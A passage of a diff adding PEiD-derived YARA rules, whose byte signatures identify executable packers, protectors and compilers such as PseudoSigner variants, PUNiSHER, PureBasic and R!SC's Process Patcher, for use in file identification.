+        description = "[PseudoSigner 0.1 [PE Intro 1.0] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {8B 04 24 9C 60 E8 14 00 00 00 5D 81 ED 0A 45 40 90 80 BD 67 44 40 90 90 0F 85 48 FF ED 0A E9}
+    condition:
+        $a
+}
+
+rule PEiD_01837_PseudoSigner_0_1__PE_Pack_0_99_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [PE Pack 0.99] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 11 00 00 00 5D 83 ED 06 80 BD E0 04 90 90 01 0F 84 F2 FF CC 0A E9}
+    condition:
+        $a
+}
+
+rule PEiD_01838_PseudoSigner_0_1__PE_Protect_0_9_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [PE Protect 0.9] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {52 51 55 57 64 67 A1 30 00 85 C0 78 0D E8 07 00 00 00 58 83 C0 07 C6 90 C3 E9}
+    condition:
+        $a
+}
+
+rule PEiD_01839_PseudoSigner_0_1__PECompact_1_4___
+{
+    meta:
+        description = "[PseudoSigner 0.1 [PECompact 1.4+]]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 EB 06 68 90 90 90 90 C3 9C 60 E8 02 90 90 90 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81}
+    condition:
+        $a
+}
+
+rule PEiD_01840_PseudoSigner_0_1__PENightMare_2_Beta_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [PENightMare 2 Beta] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {60 E9 10 00 00 00 EF 40 03 A7 07 8F 07 1C 37 5D 43 A7 04 B9 2C 3A E9}
+    condition:
+        $a
+}
+
+rule PEiD_01841_PseudoSigner_0_1__PENinja_1_31_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [PENinja 1.31] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E9}
+    condition:
+        $a
+}
+rule PEiD_01842_PseudoSigner_0_1__PESHiELD_0_25_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [PESHiELD 0.25] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 2B 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 CC CC E9}
+    condition:
+        $a
+}
+
+rule PEiD_01843_PseudoSigner_0_1__PEtite_2_x__level_0___
+{
+    meta:
+        description = "[PseudoSigner 0.1 [PEtite 2.x (level 0)]]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 B8 00 90 90 00 6A 00 68 90 90 90 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 66 9C 60 50 8B D8 03 00 68}
+    condition:
+        $a
+}
+
+rule PEiD_01844_PseudoSigner_0_1__PEX_0_99_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [PEX 0.99] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 01 00 00 00 55 83 C4 04 E8 01 00 00 00 90 5D 81 FF FF FF 00 01 E9}
+    condition:
+        $a
+}
+
+rule PEiD_01845_PseudoSigner_0_1__REALBasic_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [REALBasic] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 90 90 90 90 90 90 90 90 90 90 50 90 90 90 90 90 00 01 E9}
+    condition:
+        $a
+}
+
+rule PEiD_01846_PseudoSigner_0_1__Ste_lth_PE_1_01__
+{
+    meta:
+        description = "[PseudoSigner 0.1 [Ste@lth PE 1.01]]"
+        ep_only = "true"
+    strings:
+        $a = {0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 BA ?? ?? ?? ?? FF E2 BA E0 10 40 00 B8 68 24 1A 40 89 02 83 C2 03 B8 40 00 E8 EE 89 02 83 C2 FD FF E2 2D 3D 5B 20 48 69 64 65 50 45 20 5D 3D 2D 90 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01847_PseudoSigner_0_1__UPX_0_6_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [UPX 0.6] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 58 83 E8 3D 50 8D B8 00 00 00 FF 57 8D B0 E8 00 00 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_01848_PseudoSigner_0_1__VBOX_4_3_MTE_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [VBOX 4.3 MTE] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 E9}
+    condition:
+        $a
+}
+rule PEiD_01849_PseudoSigner_0_1__Video_Lan_Client_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [Video-Lan-Client] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 83 EC 08 90 90 90 90 90 90 90 90 90 90 90 90 90 90 01 FF FF 01 01 01 00 01 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00 01 00 01 00 01 90 90 00 01 E9}
+    condition:
+        $a
+}
+
+rule PEiD_01850_PseudoSigner_0_1__VOB_ProtectCD_5_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [VOB ProtectCD 5] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {36 3E 26 8A C0 60 E8 00 00 00 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_01851_PseudoSigner_0_1__WATCOM_C_C___EXE_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [WATCOM C/C++ EXE] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {E9 00 00 00 00 90 90 90 90 57 41 E9}
+    condition:
+        $a
+}
+
+rule PEiD_01852_PseudoSigner_0_1__XCR_0_11_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [XCR 0.11] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {60 8B F0 33 DB 83 C3 01 83 C0 01 E9}
+    condition:
+        $a
+}
+
+rule PEiD_01853_PseudoSigner_0_1__Yoda_s_Protector_1_02_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [Yoda's Protector 1.02] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {E8 03 00 00 00 EB 01 90 90 E9}
+    condition:
+        $a
+}
+
+rule PEiD_01854_PseudoSigner_0_2___BJFNT_1_1b__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [.BJFNT 1.1b]]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 EA 9C EB 01 EA 53 EB 01 EA 51 EB 01 EA 52 EB 01 EA 56 90}
+    condition:
+        $a
+}
+
+rule PEiD_01855_PseudoSigner_0_2___BJFNT_1_2__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [.BJFNT 1.2]]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 69 B1 83 EC 04 EB 03 CD 20 EB EB 01 EB 9C EB 01 EB EB 00}
+    condition:
+        $a
+}
+
+rule PEiD_01856_PseudoSigner_0_2__32Lite_0_03_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.2 [32Lite 0.03] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {60 06 FC 1E 07 BE 90 90 90 90 6A 04 68 90 10 90 90 68}
+    condition:
+        $a
+}
+
+rule PEiD_01857_PseudoSigner_0_2__Armadillo_3_00__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [Armadillo 3.00]]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 2A 00 00 00 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 50 51 EB 85}
+    condition:
+        $a
+}
+rule PEiD_01858_PseudoSigner_0_2__ASProtect__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [ASProtect]]"
+        ep_only = "true"
+    strings:
+        $a = {60 90 90 90 90 90 90 5D 90 90 90 90 90 90 90 90 90 90 90 03 DD}
+    condition:
+        $a
+}
+
+rule PEiD_01859_PseudoSigner_0_2__Borland_C___1999_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.2 [Borland C++ 1999] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90 E9 90 90 90 90 A1 ?? ?? ?? ?? A3}
+    condition:
+        $a
+}
+
+rule PEiD_01860_PseudoSigner_0_2__Borland_C___DLL__Method_2___
+{
+    meta:
+        description = "[PseudoSigner 0.2 [Borland C++ DLL (Method 2)]]"
+        ep_only = "true"
+    strings:
+        $a = {EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90 E9 90 90 90 90}
+    condition:
+        $a
+}
+
+rule PEiD_01861_PseudoSigner_0_2__Borland_Delphi_DLL__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [Borland Delphi DLL]]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 B4 B8 90 90 90 90 E8 00 00 00 00 E8 00 00 00 00 8D 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_01862_PseudoSigner_0_2__Borland_Delphi_Setup_Module__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [Borland Delphi Setup Module]]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 90 53 56 57 33 C0 89 45 F0 89 45 D4 89 45 D0 E8 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01863_PseudoSigner_0_2__CD_Cops_II__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [CD-Cops II]]"
+        ep_only = "true"
+    strings:
+        $a = {53 60 BD 90 90 90 90 8D 45 90 8D 5D 90 E8 00 00 00 00 8D 01}
+    condition:
+        $a
+}
+
+rule PEiD_01864_PseudoSigner_0_2__Code_Lock__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [Code-Lock]]"
+        ep_only = "true"
+    strings:
+        $a = {43 4F 44 45 2D 4C 4F 43 4B 2E 4F 43 58 00 01 28 01 50 4B 47 05 4C 3F B4 04 4D 4C 47 4B}
+    condition:
+        $a
+}
+
+rule PEiD_01865_PseudoSigner_0_2__CodeSafe_2_0__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [CodeSafe 2.0]]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 0B 83 EC 10 53 56 57 E8 C4 01 00 85}
+    condition:
+        $a
+}
+
+rule PEiD_01866_PseudoSigner_0_2__Crunch_PE_Heuristic__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [Crunch/PE Heuristic]]"
+        ep_only = "true"
+    strings:
+        $a = {55 E8 0E 00 00 00 5D 83 ED 06 8B C5 55 60 89 AD ?? ?? ?? ?? 2B 85 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01867_PseudoSigner_0_2__DEF_1_0__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [DEF 1.0]]"
+        ep_only = "true"
+    strings:
+        $a = {BE 00 01 40 00 6A 05 59 80 7E 07 00 74 11 8B 46 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 83 C1 01}
+    condition:
+        $a
+}
+
+rule PEiD_01868_PseudoSigner_0_2__DxPack_1_0__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [DxPack 1.0]]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 8B FD 81 ED 90 90 90 90 2B B9 00 00 00 00 81 EF 90 90 90 90 83 BD 90 90 90 90 90 0F 84 00 00 00 00}
+    condition:
+        $a
+}
+rule PEiD_01869_PseudoSigner_0_2__ExeSmasher__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [ExeSmasher]]"
+        ep_only = "true"
+    strings:
+        $a = {9C FE 03 90 60 BE 90 90 41 90 8D BE 90 10 FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 FE 0B}
+    condition:
+        $a
+}
+
+rule PEiD_01870_PseudoSigner_0_2__FSG_1_0__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [FSG 1.0]]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 BB D0 01 40 00 BF 00 10 40 00 BE 90 90 90 90 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 FC B2 80 A4 6A 02 5B}
+    condition:
+        $a
+}
+
+rule PEiD_01871_PseudoSigner_0_2__FSG_1_31__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [FSG 1.31]]"
+        ep_only = "true"
+    strings:
+        $a = {BE 90 90 90 00 BF 90 90 90 00 BB 90 90 90 00 53 BB 90 90 90 00 B2 80}
+    condition:
+        $a
+}
+
+rule PEiD_01872_PseudoSigner_0_2__Gleam_1_00__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [Gleam 1.00]]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 0B 83 EC 0C 53 56 57 E8 24 02 00 FF}
+    condition:
+        $a
+}
+
+rule PEiD_01873_PseudoSigner_0_2__JDPack_1_x___JDProtect_0_9__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [JDPack 1.x / JDProtect 0.9]]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 22 00 00 00 5D 8B D5 81 ED 90 90 90 90 2B 95 90 90 90 90 81 EA 06 90 90 90 89 95 90 90 90 90 83 BD 45 00 01 00 01}
+    condition:
+        $a
+}
+
+rule PEiD_01874_PseudoSigner_0_2__LCC_Win32_1_x__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [LCC Win32 1.x]]"
+        ep_only = "true"
+    strings:
+        $a = {64 A1 01 00 00 00 55 89 E5 6A FF 68 ?? ?? ?? ?? 68 9A 10 40 90 50}
+    condition:
+        $a
+}
+
+rule PEiD_01875_PseudoSigner_0_2__LCC_Win32_DLL_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.2 [LCC Win32 DLL] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 53 56 57 83 7D 0C 01 75 05 E8 17 90 90 90 FF 75 10 FF 75 0C FF 75 08 A1}
+    condition:
+        $a
+}
+
+rule PEiD_01876_PseudoSigner_0_2__Lockless_Intro_Pack__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [Lockless Intro Pack]]"
+        ep_only = "true"
+    strings:
+        $a = {2C E8 EB 1A 90 90 5D 8B C5 81 ED F6 73 90 90 2B 85 90 90 90 90 83 E8 06 89 85 FF 01 EC AD}
+    condition:
+        $a
+}
+
+rule PEiD_01877_PseudoSigner_0_2__Macromedia_Flash_Projector_6_0__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [Macromedia Flash Projector 6.0]]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 83 EC 44 56 FF 15 24 81 49 00 8B F0 8A 06 3C 22 75 1C 8A 46 01 46 3C 22 74 0C 84 C0 74 08 8A 46 01 46 3C 22 75 F4 80 3E 22 75 0F 46 EB 0C}
+    condition:
+        $a
+}
+
+rule PEiD_01878_PseudoSigner_0_2__MEW_11_SE_1_0__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [MEW 11 SE 1.0]]"
+        ep_only = "true"
+    strings:
+        $a = {E9 09 00 00 00 00 00 00 02 00 00 00 0C 90}
+    condition:
+        $a
+}
+rule PEiD_01879_PseudoSigner_0_2__Microsoft_Visual_Basic_5_0___6_0__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [Microsoft Visual Basic 5.0 - 6.0]]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 0A 00 00 00 00 00 00 00 00 00 30 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01880_PseudoSigner_0_2__Microsoft_Visual_C___7_0_DLL_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.2 [Microsoft Visual C++ 7.0 DLL] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {55 8D 6C 01 00 81 EC 00 00 00 00 8B 45 90 83 F8 01 56 0F 84 00 00 00 00 85 C0 0F 84}
+    condition:
+        $a
+}
+
+rule PEiD_01881_PseudoSigner_0_2__MinGW_GCC_2_x__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [MinGW GCC 2.x]]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 E8 02 00 00 00 C9 C3 90 90 45 58 45}
+    condition:
+        $a
+}
+
+rule PEiD_01882_PseudoSigner_0_2__NorthStar_PE_Shrinker_1_3__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [NorthStar PE Shrinker 1.3]]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00 2B E8 8D B5 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01883_PseudoSigner_0_2__PE_Intro_1_0__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [PE Intro 1.0]]"
+        ep_only = "true"
+    strings:
+        $a = {8B 04 24 9C 60 E8 14 00 00 00 5D 81 ED 0A 45 40 90 80 BD 67 44 40 90 90 0F 85 48 FF ED 0A}
+    condition:
+        $a
+}
+
+rule PEiD_01884_PseudoSigner_0_2__PE_Pack_0_99__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [PE Pack 0.99]]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 11 00 00 00 5D 83 ED 06 80 BD E0 04 90 90 01 0F 84 F2 FF CC 0A}
+    condition:
+        $a
+}
+
+rule PEiD_01885_PseudoSigner_0_2__PE_Protect_0_9__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [PE Protect 0.9]]"
+        ep_only = "true"
+    strings:
+        $a = {52 51 55 57 64 67 A1 30 00 85 C0 78 0D E8 07 00 00 00 58 83 C0 07 C6 90 C3}
+    condition:
+        $a
+}
+
+rule PEiD_01886_PseudoSigner_0_2__PENightMare_2_Beta__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [PENightMare 2 Beta]]"
+        ep_only = "true"
+    strings:
+        $a = {60 E9 10 00 00 00 EF 40 03 A7 07 8F 07 1C 37 5D 43 A7 04 B9 2C 3A}
+    condition:
+        $a
+}
+
+rule PEiD_01887_PseudoSigner_0_2__PESHiELD_0_25__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [PESHiELD 0.25]]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 2B 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 CC CC}
+    condition:
+        $a
+}
+
+rule PEiD_01888_PseudoSigner_0_2__PEX_0_99__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [PEX 0.99]]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 01 00 00 00 55 83 C4 04 E8 01 00 00 00 90 5D 81 FF FF FF 00 01}
+    condition:
+        $a
+}
+
+rule PEiD_01889_PseudoSigner_0_2__REALBasic__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [REALBasic]]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 90 90 90 90 90 90 90 90 90 90 50 90 90 90 90 90 00 01}
+    condition:
+        $a
+}
+
+rule PEiD_01890_PseudoSigner_0_2__UPX_0_6__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [UPX 0.6]]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 58 83 E8 3D 50 8D B8 00 00 00 FF 57 8D B0 E8 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01891_PseudoSigner_0_2__Video_Lan_Client__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [Video-Lan-Client]]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 83 EC 08 90 90 90 90 90 90 90 90 90 90 90 90 90 90 01 FF FF 01 01 01 00 01 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00 01 00 01 00 01 90 90 00 01}
+    condition:
+        $a
+}
+
+rule PEiD_01892_PseudoSigner_0_2__VOB_ProtectCD_5__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [VOB ProtectCD 5]]"
+        ep_only = "true"
+    strings:
+        $a = {36 3E 26 8A C0 60 E8 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01893_PseudoSigner_0_2__Watcom_C_C___DLL__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [Watcom C/C++ DLL]]"
+        ep_only = "true"
+    strings:
+        $a = {53 56 57 55 8B 74 24 14 8B 7C 24 18 8B 6C 24 1C 83 FF 03 0F 87 01 00 00 00 F1}
+    condition:
+        $a
+}
+
+rule PEiD_01894_PseudoSigner_0_2__WATCOM_C_C___EXE__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [WATCOM C/C++ EXE]]"
+        ep_only = "true"
+    strings:
+        $a = {E9 00 00 00 00 90 90 90 90 57 41}
+    condition:
+        $a
+}
+
+rule PEiD_01895_PseudoSigner_0_2__ZCode_1_01__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [ZCode 1.01]]"
+        ep_only = "true"
+    strings:
+        $a = {E9 12 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E9 FB FF FF FF C3 68 00 00 00 00 64 FF 35 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01896_PUNiSHER_1_5__DEMO_____FEUERRADER_AHTeam_
+{
+    meta:
+        description = "[PUNiSHER 1.5 (DEMO) -> FEUERRADER/AHTeam]"
+        ep_only = "false"
+    strings:
+        $a = {EB 04 83 A4 BC CE 60 EB 04 80 BC 04 11 E8 00 00 00 00 81 2C 24 CA C2 41 00 EB 04 64 6B 88 18 5D E8 00 00 00 00 EB 04 64 6B 88 18 81 2C 24 86 00 00 00 EB 04 64 6B 88 18 8B 85 9C C2 41 00 EB 04 64 6B 88 18 29 04 24 EB 04 64 6B 88 18 EB 04 64 6B 88 18 8B 04}
+    condition:
+        $a
+}
+
+rule PEiD_01897_PUNiSHER_v1_5__DEMO_____FEUERRADER_AHTeam_
+{
+    meta:
+        description = "[PUNiSHER v1.5 (DEMO) -> FEUERRADER/AHTeam]"
+        ep_only = "true"
+    strings:
+        $a = {EB 04 83 A4 BC CE 60 EB 04 80 BC 04 11 E8 00 00 00 00 81 2C 24 CA C2 41 00 EB 04 64 6B 88 18 5D E8 00 00 00 00 EB 04 64 6B 88 18 81 2C 24 86 00 00 00 EB 04 64 6B 88 18 8B 85 9C C2 41 00 EB 04 64 6B 88 18 29 04 24 EB 04 64 6B 88 18 EB 04 64 6B 88 18 8B 04 24 EB 04 64 6B 88 18 89 85 9C C2 41 00 EB 04 64 6B 88 18 58 68 9F 6F 56 B6 50 E8 5D 00 00 00 EB FF 71 78 C2 50 00 EB D3 5B F3 68 89 5C 24 48 5C 24 58 FF 8D 5C 24 58 5B 83 C3 4C 75 F4 5A 8D 71 78 75 09 81 F3 EB FF 52 BA 01 00 83 EB FC 4A FF 71 0F 75 19 8B 5C 24 00 00 81 33 50 53 8B 1B 0F FF C6 75 1B 81 F3 EB 87 1C 24 8B 8B 04 24 83 EC FC EB 01 E8 83 EC FC E9 E7 00 00 00 58 EB FF F0 EB FF C0 83 E8 FD EB FF 30 E8 C9 00 00 00 89 E0 EB FF D0 EB FF 71 0F 83 C0 01 EB FF 70 F0 71 EE EB FA EB 83 C0 14 EB FF 70 ED}
+    condition:
+        $a
+}
+
+rule PEiD_01898_PUNiSHER_V1_5____FEUERRADER_
+{
+    meta:
+        description = "[PUNiSHER V1.5 -> FEUERRADER]"
+        ep_only = "false"
+    strings:
+        $a = {3F 00 00 80 66 20 ?? 00 7E 20 ?? 00 92 20 ?? 00 A4 20 ?? 00 00 00 00 00 4B 45 52 4E 45 4C 33 32}
+    condition:
+        $a
+}
+
+rule PEiD_01899_PUNiSHER_V1_5_Demo____FEUERRADER_
+{
+    meta:
+        description = "[PUNiSHER V1.5 Demo -> FEUERRADER]"
+        ep_only = "true"
+    strings:
+        $a = {EB 04 83 A4 BC CE 60 EB 04 80 BC 04 11 E8 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01900_PuNkMoD_1_x____PuNkDuDe_
+{
+    meta:
+        description = "[PuNkMoD 1.x -> PuNkDuDe]"
+        ep_only = "true"
+    strings:
+        $a = {94 B9 ?? ?? 00 00 BC ?? ?? ?? ?? 80 34 0C}
+    condition:
+        $a
+}
+
+rule PEiD_01901_PureBasic_4_x____Neil_Hodgson_
+{
+    meta:
+        description = "[PureBasic 4.x -> Neil Hodgson]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? 00 00 68 00 00 00 00 68 ?? ?? ?? 00 E8 ?? ?? ?? 00 83 C4 0C 68 00 00 00 00 E8 ?? ?? ?? 00 A3 ?? ?? ?? 00 68 00 00 00 00 68 00 10 00 00 68 00 00 00 00 E8 ?? ?? ?? 00 A3}
+    condition:
+        $a
+}
+
+rule PEiD_01902_PureBasic_4_x_DLL____Neil_Hodgson_
+{
+    meta:
+        description = "[PureBasic 4.x DLL -> Neil Hodgson]"
+        ep_only = "true"
+    strings:
+        $a = {83 7C 24 08 01 75 0E 8B 44 24 04 A3 ?? ?? ?? 10 E8 22 00 00 00 83 7C 24 08 02 75 00 83 7C 24 08 00 75 05 E8 ?? 00 00 00 83 7C 24 08 03 75 00 B8 01 00 00 00 C2 0C 00 68 00 00 00 00 68 00 10 00 00 68 00 00 00 00 E8 ?? 0F 00 00 A3}
+    condition:
+        $a
+}
+rule PEiD_01903_PureBasic_DLL____Neil_Hodgson_
+{
+    meta:
+        description = "[PureBasic DLL -> Neil Hodgson]"
+        ep_only = "true"
+    strings:
+        $a = {83 7C 24 08 01 75 ?? 8B 44 24 04 A3 ?? ?? ?? 10 E8}
+    condition:
+        $a
+}
+
+rule PEiD_01904_R_SC_s_Process_Patcher_1_4_
+{
+    meta:
+        description = "[R!SC's Process Patcher 1.4]"
+        ep_only = "false"
+    strings:
+        $a = {E8 E1 01 00 00 80 38 22 75 13 80 38 00 74 2E 80 38 20 75 06 80 78 FF 22 74 18 40 EB ED 80 38 00 74 1B EB 19 40 80 78 FF 20 75 F9 80 38 00 74 0D EB 0B 40 80 38 00 74 05 80 38 22 74 00 8B F8 B8 04 60 40 00 68 00 20 40 00 C7 05 A2 20 40 00 44 00 00 00 68 92}
+    condition:
+        $a
+}
+
+rule PEiD_01905_R_SC_s_Process_Patcher_1_5_1_
+{
+    meta:
+        description = "[R!SC's Process Patcher 1.5.1]"
+        ep_only = "false"
+    strings:
+        $a = {68 00 20 40 00 E8 C3 01 00 00 80 38 00 74 0D 66 81 78 FE 22 20 75 02 EB 03 40 EB EE 8B F8 B8 04 60 40 00 68 C4 20 40 00 68 D4 20 40 00 6A 00 6A 00 6A 04 6A 00 6A 00 6A 00 57 50 E8 9F 01 00 00 85 C0 0F 84 39 01 00 00 BE 00 60 40 00 8B 06 A3 28 21 40 00 83}
+    condition:
+        $a
+}
+
+rule PEiD_01906_R_SC_s_Process_Patcher_v1_4_
+{
+    meta:
+        description = "[R!SC's Process Patcher v1.4]"
+        ep_only = "false"
+    strings:
+        $a = {E8 E1 01 00 00 80 38 22 75 13 80 38 00 74 2E 80 38 20 75 06 80 78 FF 22 74 18 40 EB ED 80 38 00 74 1B EB 19 40 80 78 FF 20 75 F9 80 38 00 74 0D EB 0B 40 80 38 00 74 05 80 38 22 74 00 8B F8 B8 04 60 40 00 68 00 20 40 00 C7 05 A2 20 40 00 44 00 00 00 68 92 20 40 00 68 A2 20 40 00 6A 00 6A 00 6A 04 6A 00 6A 00 6A 00 57 50 E8 7C 01 00 00 85 C0 0F 84 2A 01 00 00 B8 00 60 40 00 8B 00 A3 1C 22 40 00 BE 40 60 40 00 83 7E FC 00 0F 84 F6 00 00 00 8B 3E 83 C6 04 85 FF 0F 84 83 00 00 00 81 FF 72 21 73 63 0F 84 DD 00 00 00 33 DB 66 8B 1E 8B CF 8D 7E 02 C7 05 EA 21 40 00 00 00 00 00 83 05 EA 21 40 00 01 50 A1 1C 22 40 00 39 05 EA 21 40 00 58 0F 84 C1 00 00 00 60 6A 00 53 68 EA 20 40 00 51 FF 35 92 20 40 00 E8 EB 00 00 00 61 60 FC BE EA 20 40 00 8B CB F3 A6 61 75 C2 03}
+    condition:
+        $a
+}
+
+rule PEiD_01907_R_SC_s_Process_Patcher_v1_5_1_
+{
+    meta:
+        description = "[R!SC's Process Patcher v1.5.1]"
+        ep_only = "false"
+    strings:
